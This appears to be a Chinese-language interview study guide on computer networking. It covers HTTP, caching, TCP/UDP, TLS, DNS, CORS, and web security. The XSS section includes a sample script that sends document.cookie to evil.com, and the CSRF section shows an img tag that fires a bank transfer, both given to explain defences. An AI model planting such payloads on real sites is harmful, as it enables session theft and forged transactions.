Day 3: 计算机网络基础
第三天重点:HTTP/HTTPS、TCP/UDP、DNS 解析流程
更新时间: 2025-01
📋 目录
今日目标
- 掌握 HTTP 方法、状态码、缓存机制
- 理解 TCP 三次握手、四次挥手
- 熟悉 HTTPS 工作原理
- 理解 DNS 解析过程
- 掌握跨域与 CORS
Part A: HTTP 协议
1. HTTP 基础
Q1: HTTP 常见请求方法及区别?
答案:
┌─────────────────────────────────────────────────────────────┐
│ HTTP 请求方法 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 方法 描述 幂等 安全 请求体 │
│ ──────────────────────────────────────────────────────────│
│ GET 获取资源 是 是 否 │
│ POST 创建资源 否 否 是 │
│ PUT 完整更新资源 是 否 是 │
│ PATCH 部分更新资源 否 否 是 │
│ DELETE 删除资源 是 否 否 │
│ HEAD 获取响应头 是 是 否 │
│ OPTIONS 获取支持的方法 是 是 否 │
│ │
│ 幂等:多次请求结果相同 │
│ 安全:不会修改服务器资源 │
│ │
└─────────────────────────────────────────────────────────────┘GET 和 POST 的区别:
1. 语义:GET 获取资源,POST 提交数据
2. 参数位置:GET 在 URL 中,POST 在请求体中
3. 长度限制:GET 受 URL 长度限制(约 2KB),POST 理论无限制
4. 缓存:GET 可被缓存,POST 不会
5. 幂等性:GET 幂等,POST 非幂等
6. 安全性:都不安全(明文传输),但 POST 参数不在 URL 中
7. 浏览器行为:GET 可书签/历史,POST 不可Q2: HTTP 状态码有哪些?
答案:
┌─────────────────────────────────────────────────────────────┐
│ HTTP 状态码 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1xx 信息性: │
│ 100 Continue 继续发送请求体 │
│ 101 Switching Protocols 切换协议(如 WebSocket) │
│ │
│ 2xx 成功: │
│ 200 OK 请求成功 │
│ 201 Created 创建成功(POST) │
│ 204 No Content 成功但无返回内容(DELETE) │
│ 206 Partial Content 部分内容(断点续传) │
│ │
│ 3xx 重定向: │
│ 301 Moved Permanently 永久重定向(SEO 推荐) │
│ 302 Found 临时重定向(登录跳转) │
│ 303 See Other POST 后重定向到 GET │
│ 304 Not Modified 缓存有效 │
│ 307 Temporary Redirect 临时重定向(保持方法) │
│ 308 Permanent Redirect 永久重定向(保持方法) │
│ │
│ 4xx 客户端错误: │
│ 400 Bad Request 请求语法错误 │
│ 401 Unauthorized 未认证(需要登录) │
│ 403 Forbidden 无权限(已登录但无权) │
│ 404 Not Found 资源不存在 │
│ 405 Method Not Allowed 方法不允许 │
│ 408 Request Timeout 请求超时 │
│ 429 Too Many Requests 请求过多(限流) │
│ │
│ 5xx 服务器错误: │
│ 500 Internal Server Error 服务器内部错误 │
│ 502 Bad Gateway 网关错误(上游服务异常) │
│ 503 Service Unavailable 服务不可用(过载/维护) │
│ 504 Gateway Timeout 网关超时 │
│ │
└─────────────────────────────────────────────────────────────┘常见面试追问:
Q: 301 和 302 的区别?
A: 301 永久重定向,浏览器会缓存;302 临时重定向,每次都会请求原地址
Q: 401 和 403 的区别?
A: 401 是未认证(没登录);403 是已认证但无权限
Q: 502 和 504 的区别?
A: 502 是上游服务返回无效响应;504 是上游服务响应超时2. HTTP 缓存机制
Q3: 强缓存和协商缓存的区别?
答案:
┌─────────────────────────────────────────────────────────────┐
│ HTTP 缓存机制 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 强缓存(不发请求): │
│ ├── Expires(HTTP/1.0) │
│ │ - 绝对时间,受本地时间影响 │
│ │ - Expires: Thu, 01 Dec 2024 16:00:00 GMT │
│ │ │
│ └── Cache-Control(HTTP/1.1,优先级更高) │
│ - max-age=3600 缓存 3600 秒 │
│ - no-cache 跳过强缓存,走协商缓存 │
│ - no-store 完全不缓存 │
│ - public 可被代理缓存 │
│ - private 仅浏览器缓存 │
│ │
│ 协商缓存(需要发请求验证): │
│ ├── Last-Modified / If-Modified-Since │
│ │ - 基于文件修改时间 │
│ │ - 精度秒级,可能不准确 │
│ │ │
│ └── ETag / If-None-Match(优先级更高) │
│ - 基于文件内容哈希 │
│ - 更精确,但服务器计算开销大 │
│ │
│ 缓存流程: │
│ 1. 检查强缓存 → 有效则直接使用(200 from cache) │
│ 2. 强缓存失效 → 发送协商缓存请求 │
│ 3. 协商缓存有效 → 返回 304,使用本地缓存 │
│ 4. 协商缓存失效 → 返回 200 和新资源 │
│ │
└─────────────────────────────────────────────────────────────┘缓存位置:
1. Service Worker(离线缓存,优先级最高)
2. Memory Cache(内存缓存,关闭标签页消失)
3. Disk Cache(硬盘缓存,持久化)
4. Push Cache(HTTP/2 推送缓存)实际应用:
nginx
# Nginx 缓存配置
location ~* \.(css|js)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
location ~* \.(html)$ {
add_header Cache-Control "no-cache";
}3. HTTP 版本对比
Q4: HTTP 1.0/1.1/2/3 的区别?
答案:
┌─────────────────────────────────────────────────────────────┐
│ HTTP 版本对比 │
├─────────────────────────────────────────────────────────────┤
│ │
│ HTTP/1.0: │
│ - 每次请求都新建 TCP 连接(短连接) │
│ - 无 Host 头,不支持虚拟主机 │
│ │
│ HTTP/1.1: │
│ - 持久连接(Keep-Alive) │
│ - 管道化(Pipelining,但有队头阻塞问题) │
│ - 新增 Host 头 │
│ - 新增缓存控制(Cache-Control) │
│ - 支持断点续传(Range) │
│ │
│ HTTP/2: │
│ - 二进制分帧(更高效解析) │
│ - 多路复用(一个连接并发多个请求) │
│ - 头部压缩(HPACK) │
│ - 服务器推送(Server Push) │
│ - 请求优先级 │
│ - 基于 HTTPS │
│ │
│ HTTP/3: │
│ - 基于 QUIC(UDP) │
│ - 0-RTT 连接(更快建立) │
│ - 改进的拥塞控制 │
│ - 连接迁移(IP 变化不断开) │
│ - 解决 TCP 队头阻塞 │
│ │
└─────────────────────────────────────────────────────────────┘队头阻塞问题:
HTTP/1.1 管道化的队头阻塞:
- 请求 1、2、3 按顺序发送
- 响应必须按顺序返回
- 如果请求 1 阻塞,2、3 也等待
HTTP/2 的 TCP 层队头阻塞:
- 应用层多路复用解决了 HTTP 层阻塞
- 但 TCP 层丢包会阻塞所有流
HTTP/3 解决方案:
- QUIC 基于 UDP,每个流独立
- 一个流丢包不影响其他流Part B: TCP/UDP
1. TCP 三次握手
Q5: TCP 三次握手过程?为什么是三次?
答案:
┌─────────────────────────────────────────────────────────────┐
│ TCP 三次握手 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 客户端 服务端 │
│ CLOSED LISTEN │
│ │ │ │
│ │──────── SYN, seq=x ───────────▶│ │
│ │ 第一次握手 │ │
│ SYN_SENT │ │
│ │ │ │
│ │◀─── SYN+ACK, seq=y, ack=x+1 ────│ │
│ │ 第二次握手 │ │
│ │ SYN_RCVD │
│ │ │ │
│ │──────── ACK, ack=y+1 ─────────▶│ │
│ │ 第三次握手 │ │
│ ESTABLISHED ESTABLISHED │
│ │
│ 各次握手的作用: │
│ 第一次:客户端确认自己能发送,服务端确认能接收 │
│ 第二次:服务端确认自己能发送和接收,客户端确认能接收 │
│ 第三次:客户端确认服务端能接收 │
│ │
└─────────────────────────────────────────────────────────────┘为什么是三次,不是两次?
防止已失效的连接请求到达服务器:
场景:客户端发送连接请求A,但网络延迟,客户端超时重发请求B
- 如果两次握手:
- 请求B建立连接,数据传输完毕,连接关闭
- 延迟的请求A到达,服务端认为是新连接,分配资源
- 客户端不会响应,服务端资源浪费
- 三次握手:
- 延迟的请求A到达,服务端回复 SYN+ACK
- 客户端发现不是自己发起的,发送 RST 拒绝
- 服务端不会建立无效连接2. TCP 四次挥手
Q6: TCP 四次挥手过程?为什么是四次?
答案:
┌─────────────────────────────────────────────────────────────┐
│ TCP 四次挥手 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 客户端(主动关闭) 服务端(被动关闭) │
│ ESTABLISHED ESTABLISHED │
│ │ │ │
│ │──────── FIN, seq=u ───────────▶│ │
│ │ 第一次挥手 │ │
│ FIN_WAIT_1 │ │
│ │ │ │
│ │◀─────── ACK, ack=u+1 ─────────────│ │
│ │ 第二次挥手 │ │
│ FIN_WAIT_2 CLOSE_WAIT │
│ │ │ │
│ │ (服务端处理剩余数据) │ │
│ │ │ │
│ │◀─────── FIN, seq=v ───────────────│ │
│ │ 第三次挥手 │ │
│ │ LAST_ACK │
│ │ │ │
│ │──────── ACK, ack=v+1 ─────────▶│ │
│ │ 第四次挥手 │ │
│ TIME_WAIT CLOSED │
│ │ │
│ │ 等待 2MSL(最大报文生存时间) │
│ │ │
│ CLOSED │
│ │
└─────────────────────────────────────────────────────────────┘为什么是四次?
TCP 是全双工,每个方向的关闭都是独立的:
- 客户端 FIN → 表示客户端不再发送数据
- 服务端 ACK → 确认收到客户端的关闭请求
- 服务端可能还有数据要发送(CLOSE_WAIT)
- 服务端 FIN → 表示服务端也不再发送数据
- 客户端 ACK → 确认收到服务端的关闭请求
不能合并第二次和第三次挥手,因为服务端可能还有数据要发TIME_WAIT 的作用?
1. 确保最后的 ACK 能到达服务端
- 如果 ACK 丢失,服务端会重发 FIN
- 客户端需要在 TIME_WAIT 期间能够响应
2. 让旧连接的数据包在网络中消失
- 防止延迟的数据包被新连接接收
- 2MSL 时间足够让旧数据包消亡3. TCP vs UDP
Q7: TCP 和 UDP 的区别?
答案:
┌─────────────────────────────────────────────────────────────┐
│ TCP vs UDP │
├─────────────────────────────────────────────────────────────┤
│ │
│ 特性 TCP UDP │
│ ──────────────────────────────────────────────────────────│
│ 连接 面向连接 无连接 │
│ 可靠性 可靠传输 不可靠传输 │
│ 有序性 保证顺序 不保证顺序 │
│ 流量控制 有(滑动窗口) 无 │
│ 拥塞控制 有 无 │
│ 传输速度 较慢 较快 │
│ 头部开销 20-60 字节 8 字节 │
│ 连接方式 点对点 支持广播/多播 │
│ │
│ TCP 应用场景: │
│ - HTTP/HTTPS(网页) │
│ - FTP(文件传输) │
│ - SMTP/POP3(邮件) │
│ - SSH(远程登录) │
│ │
│ UDP 应用场景: │
│ - DNS(域名解析) │
│ - DHCP(动态 IP) │
│ - 视频流/直播 │
│ - 在线游戏 │
│ - VoIP(语音通话) │
│ │
└─────────────────────────────────────────────────────────────┘TCP 可靠传输机制:
1. 序列号和确认号
- 每个字节都有序列号
- 接收方返回 ACK 确认
2. 超时重传
- 未收到 ACK 则重传
- RTO 动态计算
3. 滑动窗口(流量控制)
- 接收方通告窗口大小
- 发送方不超过窗口发送
4. 拥塞控制
- 慢启动:cwnd 指数增长
- 拥塞避免:cwnd 线性增长
- 快重传:3 个重复 ACK 立即重传
- 快恢复:cwnd 减半继续发送Part C: HTTPS
1. HTTPS 原理
Q8: HTTPS 的工作原理?
答案:
┌─────────────────────────────────────────────────────────────┐
│ TLS 握手过程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 客户端 服务端 │
│ │ │ │
│ │─── ClientHello ──────────────▶│ │
│ │ - 支持的 TLS 版本 │ │
│ │ - 支持的加密套件 │ │
│ │ - 客户端随机数 │ │
│ │ │ │
│ │◀── ServerHello ───────────────────│ │
│ │ - 选择的 TLS 版本 │ │
│ │ - 选择的加密套件 │ │
│ │ - 服务端随机数 │ │
│ │◀── Certificate ───────────────────│ │
│ │ - 服务器证书(含公钥) │ │
│ │◀── ServerHelloDone ───────────────│ │
│ │ │ │
│ │─── ClientKeyExchange ─────────▶│ │
│ │ - 预主密钥(用公钥加密) │ │
│ │─── ChangeCipherSpec ──────────▶│ │
│ │─── Finished ──────────────────▶│ │
│ │ │ │
│ │◀── ChangeCipherSpec ──────────────│ │
│ │◀── Finished ──────────────────────│ │
│ │ │ │
│ │◀════════ 加密通信 ═══════════════▶│ │
│ │
│ 密钥生成: │
│ 预主密钥 + 客户端随机数 + 服务端随机数 = 主密钥 │
│ 主密钥 → 派生出会话密钥 │
│ │
└─────────────────────────────────────────────────────────────┘HTTPS 特点:
1. 机密性:对称加密通信内容
2. 完整性:MAC(消息认证码)防篡改
3. 身份认证:证书验证服务器身份
为什么用非对称+对称加密?
- 非对称加密安全但慢,用于交换密钥
- 对称加密快,用于实际数据传输Q9: HTTPS 中间人攻击是什么?如何防范?
答案:
中间人攻击(MITM):
攻击者在客户端和服务器之间拦截通信
客户端 ←→ 中间人 ←→ 服务端
伪造证书
防范措施:
1. 证书验证
- CA 签名验证
- 证书链完整性验证
- 证书有效期检查
2. 证书固定(Certificate Pinning)
- 客户端预存服务器证书/公钥
- 只信任特定证书
3. HSTS(HTTP Strict Transport Security)
- 强制使用 HTTPS
- 防止 SSL 剥离攻击
4. 公钥固定(HPKP,已废弃)
- 响应头包含公钥哈希
- 浏览器验证公钥Part D: DNS
Q10: DNS 解析过程?
答案:
┌─────────────────────────────────────────────────────────────┐
│ DNS 解析流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 浏览器输入 www.example.com │
│ │ │
│ ▼ │
│ 1. 浏览器 DNS 缓存 │
│ │ 未命中 │
│ ▼ │
│ 2. 操作系统 DNS 缓存 + hosts 文件 │
│ │ 未命中 │
│ ▼ │
│ 3. 本地 DNS 服务器(ISP 提供) │
│ │ 未命中,开始递归/迭代查询 │
│ ▼ │
│ 4. 根 DNS 服务器(.) │
│ │ 返回 .com 顶级域服务器地址 │
│ ▼ │
│ 5. 顶级域 DNS 服务器(.com) │
│ │ 返回 example.com 权威服务器地址 │
│ ▼ │
│ 6. 权威 DNS 服务器(example.com) │
│ │ 返回 www.example.com 的 IP 地址 │
│ ▼ │
│ 7. 本地 DNS 缓存结果并返回给客户端 │
│ │ │
│ ▼ │
│ 8. 客户端使用 IP 发起 HTTP 请求 │
│ │
└─────────────────────────────────────────────────────────────┘DNS 记录类型:
A 域名 → IPv4 地址
AAAA 域名 → IPv6 地址
CNAME 域名 → 另一个域名(别名)
MX 邮件服务器
NS 域名服务器
TXT 文本记录(常用于验证)DNS 优化:
html
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="//cdn.example.com">
<!-- 预连接(包含 DNS + TCP + TLS) -->
<link rel="preconnect" href="https://cdn.example.com">Part E: 跨域与安全
1. 跨域
Q11: 什么是跨域?如何解决?
答案:
同源策略:协议、域名、端口必须完全相同
http://example.com:80/page
│ │ │
协议 域名 端口
以下情况会跨域:
http://example.com vs https://example.com (协议不同)
http://example.com vs http://api.example.com (域名不同)
http://example.com vs http://example.com:8080 (端口不同)解决方案:
javascript
// 1. CORS(跨域资源共享)- 最常用
// 服务端设置响应头
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
// 简单请求:直接发送,服务端返回 CORS 头
// 预检请求:先发 OPTIONS 请求,服务端返回允许的方法
// 2. JSONP(只支持 GET)
function jsonp(url, callback) {
const script = document.createElement('script');
const callbackName = 'jsonp_' + Date.now();
window[callbackName] = (data) => {
callback(data);
document.body.removeChild(script);
delete window[callbackName];
};
script.src = `${url}?callback=${callbackName}`;
document.body.appendChild(script);
}
// 3. 代理服务器
// 开发环境:webpack-dev-server proxy
// 生产环境:Nginx 反向代理
// 4. postMessage(iframe 通信)
// 父页面
window.frames[0].postMessage('hello', 'http://child.com');
// 子页面
window.addEventListener('message', (e) => {
if (e.origin === 'http://parent.com') {
console.log(e.data);
}
});
// 5. WebSocket(无同源限制)2. 网络安全
Q12: XSS 和 CSRF 攻击及防范?
答案:
┌─────────────────────────────────────────────────────────────┐
│ XSS(跨站脚本攻击) │
├─────────────────────────────────────────────────────────────┤
│ │
│ 类型: │
│ 1. 存储型:恶意脚本存储在数据库 │
│ 2. 反射型:恶意脚本在 URL 参数中 │
│ 3. DOM 型:恶意脚本在客户端执行 │
│ │
│ 攻击示例: │
│ <script> │
│ fetch('http://evil.com?cookie=' + document.cookie) │
│ </script> │
│ │
│ 防范措施: │
│ 1. 输入过滤:对用户输入进行转义 │
│ 2. 输出编码:HTML 实体编码 │
│ 3. CSP:Content-Security-Policy 限制脚本来源 │
│ 4. HttpOnly:Cookie 设置 HttpOnly 防止 JS 读取 │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ CSRF(跨站请求伪造) │
├─────────────────────────────────────────────────────────────┤
│ │
│ 攻击原理: │
│ 1. 用户登录 A 网站,获取 Cookie │
│ 2. 用户访问恶意网站 B │
│ 3. B 网站自动向 A 发送请求(携带 A 的 Cookie) │
│ 4. A 网站认为是用户的合法请求 │
│ │
│ 攻击示例: │
│ <img src="http://bank.com/transfer?to=hacker&amount=1000"> │
│ │
│ 防范措施: │
│ 1. CSRF Token:表单携带随机 Token,服务端验证 │
│ 2. SameSite Cookie:限制第三方 Cookie 发送 │
│ - Strict:完全禁止第三方 │
│ - Lax:只允许安全方法 + 顶级导航 │
│ 3. 验证 Referer/Origin 头 │
│ 4. 关键操作二次验证 │
│ │
└─────────────────────────────────────────────────────────────┘Part F: 综合场景
Q13: 从 URL 输入到页面显示的全过程?
答案:
1. URL 解析
- 协议、域名、端口、路径、查询参数
- 判断是 URL 还是搜索关键词
2. DNS 解析
- 浏览器缓存 → OS缓存 → 本地DNS → 根DNS → 权威DNS
- 获取目标服务器 IP
3. TCP 连接
- 三次握手建立连接
- 如果是 HTTPS,还需要 TLS 握手
4. 发送 HTTP 请求
- 构造请求行、请求头、请求体
- 发送到服务器
5. 服务器处理
- 路由分发
- 业务逻辑处理
- 数据库查询
- 构造响应
6. 返回 HTTP 响应
- 状态码、响应头、响应体
- 如果有重定向,跳回步骤 2
7. 浏览器解析渲染
- HTML → DOM 树
- CSS → CSSOM 树
- DOM + CSSOM → 渲染树
- 布局(Layout):计算位置大小
- 绘制(Paint):绘制像素
- 合成(Composite):GPU 合成层
8. 加载外部资源
- CSS 阻塞渲染
- JS 阻塞解析
- 图片/字体异步加载
9. 连接处理
- Keep-Alive 保持连接
- 或四次挥手断开连接复习检查清单
- 能说出常见 HTTP 方法和状态码
- 理解强缓存和协商缓存的区别
- 能画出 TCP 三次握手/四次挥手流程
- 理解 TIME_WAIT 的作用
- 能解释 HTTPS 握手过程
- 能描述 DNS 解析流程
- 理解跨域原因和 CORS 解决方案
- 能解释 XSS 和 CSRF 及防范措施
- 能完整描述 URL 到页面显示的过程
明日预告:Day 4 - Vue/React 框架原理